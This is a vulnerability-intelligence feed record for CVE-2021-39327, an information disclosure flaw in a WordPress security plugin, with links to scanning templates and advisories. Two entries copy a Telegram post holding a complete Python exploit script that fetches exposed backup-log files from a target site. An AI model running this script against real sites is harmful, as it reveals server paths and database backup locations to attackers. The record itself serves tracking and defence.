{"vulnerability": "CVE-2021-39327", "sightings": [{"uuid": "63c94509-43f5-4473-b213-f52f129b7cbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-39327.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "2e5cfce2-b9d2-46ef-bce5-77935449f059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "087b5e66-2cef-4ea5-aa6d-3ca6d5950488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:39.000000Z"}, {"uuid": "54b94ea6-96b5-4250-8604-5ef3cb983a32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/wp_bulletproofsecurity_backups.rb", "content": "", "creation_timestamp": "2021-10-29T16:53:01.000000Z"}, {"uuid": "686c33db-5e3b-46d2-bc81-e49531e8a236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9728", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-39327\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible ~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. This affects versions up to, and including, 5.1.\n\ud83d\udccf Published: 2021-09-17T10:26:21.264Z\n\ud83d\udccf Modified: 2025-03-31T18:21:46.022Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39327\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2591118%40bulletproof-security&new=2591118%40bulletproof-security&sfp_email=&sfph_mail=\n3. http://packetstormsecurity.com/files/164420/WordPress-BulletProof-Security-5.1-Information-Disclosure.html\n4. https://github.com/Hacker5preme/Exploits/tree/main/Wordpress/CVE-2021-39327\n5. https://www.exploit-db.com/exploits/50382", "creation_timestamp": "2025-03-31T18:32:07.000000Z"}, {"uuid": "a9c83cc3-6b10-4659-b7b2-398026a58441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "https://t.me/hacking_Attack/26489", "content": "Exploit Collector\nWordPress BulletProof Security 5.1 Information Disclosure\n\nhttps://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png \nWordPress BulletProof Security plugin version 5.1 suffers from an information disclosure vulnerability.\n\nMD5 | 8921fb148d8d2f34f31511cf73eba22e\n\nDownload\n# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure\n# Date 04.10.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://forum.ait-pro.com/read-me-first/\n# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip\n# Version: <=\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-39327\n# CWE: CWE-200\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md\n'''\nDescription:\nThe BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible \n~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. \nThis affects versions up to, and including, 5.1.\n'''\n\n'''\n'Banner:\n'''\nbanner = '''\n______     _______     ____   ___ ____  _      _____ ___ _________ _____ \n/ ___\\ \\   / / ____|   |___ \\ / _ \\___ \\/ |    |___ // _ \\___ /___ \\___  |\n| |    \\ \\ / /|  _| _____ __) | | | |__) | |_____ |_ \\ (_) ||_ \\ __) | / / \n| |___  \\ V / | |__|_____/ __/| |_| / __/| |_____|__) \\__, |__) / __/ / / \n\\____|  \\_/  |_____|   |_____|\\___/_____|_|    |____/  /_/____/_____/_/ \n\n* Sensitive information disclosure\n@ Author: Ron Jost\n'''\nprint(banner)\nimport argparse \nimport requests\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\nprint('')\nprint('[*] Starting Exploit:')\nprint('')\n\npaths = [\"/wp-content/bps-backup/logs/db_backup_log.txt\",  \"/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt\"]\n\n# Exploit\nfor pathadd in paths:\nx = requests.get(\"http://\" + target_ip + ':' + target_port + '/' + wp_path + pathadd)\nprint(x.text)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:18.491789Z"}, {"uuid": "23de820a-84d5-443a-bdd4-574faececa1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "https://t.me/hacking_Attack/26489", "content": "Exploit Collector\nWordPress BulletProof Security 5.1 Information Disclosure\n\nhttps://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png \nWordPress BulletProof Security plugin version 5.1 suffers from an information disclosure vulnerability.\n\nMD5 | 8921fb148d8d2f34f31511cf73eba22e\n\nDownload\n# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure\n# Date 04.10.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://forum.ait-pro.com/read-me-first/\n# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip\n# Version: <=\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-39327\n# CWE: CWE-200\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md\n'''\nDescription:\nThe BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible \n~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. \nThis affects versions up to, and including, 5.1.\n'''\n\n'''\n'Banner:\n'''\nbanner = '''\n______     _______     ____   ___ ____  _      _____ ___ _________ _____ \n/ ___\\ \\   / / ____|   |___ \\ / _ \\___ \\/ |    |___ // _ \\___ /___ \\___  |\n| |    \\ \\ / /|  _| _____ __) | | | |__) | |_____ |_ \\ (_) ||_ \\ __) | / / \n| |___  \\ V / | |__|_____/ __/| |_| / __/| |_____|__) \\__, |__) / __/ / / \n\\____|  \\_/  |_____|   |_____|\\___/_____|_|    |____/  /_/____/_____/_/ \n\n* Sensitive information disclosure\n@ Author: Ron Jost\n'''\nprint(banner)\nimport argparse \nimport requests\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\nprint('')\nprint('[*] Starting Exploit:')\nprint('')\n\npaths = [\"/wp-content/bps-backup/logs/db_backup_log.txt\",  \"/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt\"]\n\n# Exploit\nfor pathadd in paths:\nx = requests.get(\"http://\" + target_ip + ':' + target_port + '/' + wp_path + pathadd)\nprint(x.text)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.459395Z"}]}